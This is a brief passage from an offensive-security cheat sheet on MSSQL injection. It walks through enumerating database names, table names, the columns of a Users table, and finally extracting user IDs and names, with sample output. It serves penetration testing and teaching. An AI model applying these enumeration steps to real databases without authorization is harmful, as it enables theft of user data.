* Extract databases names ```sql $ SELECT name FROM master..sysdatabases [*] Injection [*] msdb [*] tempdb ``` * Extract tables from Injection database ```sql $ SELECT name FROM Injection..sysobjects WHERE xtype = 'U' [*] Profiles [*] Roles [*] Users ``` * Extract columns for the table Users ```sql $ SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'Users') [*] UserId [*] UserName ``` * Finally extract the data ```sql SELECT UserId, UserName from Users ```
Source: SQL Injection/MSSQL Injection.md in PayloadsAllTheThings. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky.